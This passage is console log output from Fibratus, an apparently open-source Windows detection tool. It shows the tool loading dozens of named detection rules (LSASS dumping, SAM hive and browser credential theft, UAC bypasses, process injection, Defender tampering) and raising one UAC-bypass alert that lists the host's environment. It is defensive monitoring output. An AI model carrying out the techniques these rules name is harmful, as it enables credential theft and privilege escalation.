C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:30:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:30:12+01:00 level=info msg=bootstrapping with pid 11620. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:30:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-image=>true min-buffers=>16 max-buffers=>36 enable-vamap=>true enable-mem=>false buffer-size=>512 stack-enrichment=>true enable-handle=>false flush-interval=>1s enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-thread=>true enable-threadpool=>false enable-dns=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 level=>info formatter=>text log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus durable=>false exchange-type=>topic passive=>false enabled=>false exchange=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ sniff=>false index-name=>fibratus trace-log=>false healthcheck=>true timeout=>5s gzip-compression=>false healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus enabled=>false servers=>[http://127.0.0.1:9200]] http=>[ enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false fastscan=>true skip-allocs=>false excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-registry=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:30:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:30:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:30:29+01:00 level=info msg=sending alert: [UAC bypass via ICMLuaUtil COM interface]. Text: Event(s): + Seq: 9056641 + Pid: 13592 + Tid: 10172 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:30:22.5035884 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe" , directory_table_base➜ 435586000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f753f2080, name➜ cmd.exe, pid➜ 13340, ppid➜ 13592, real_ppid➜ 13592, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:30:22.5035323 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via ICMLuaUtil COM interface, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 13592 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{D2E7041B-2927-42FB-8E9F-7CE93B6DC937}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:30:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:30:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:30:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:32:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:32:00+01:00 level=info msg=loading rule from 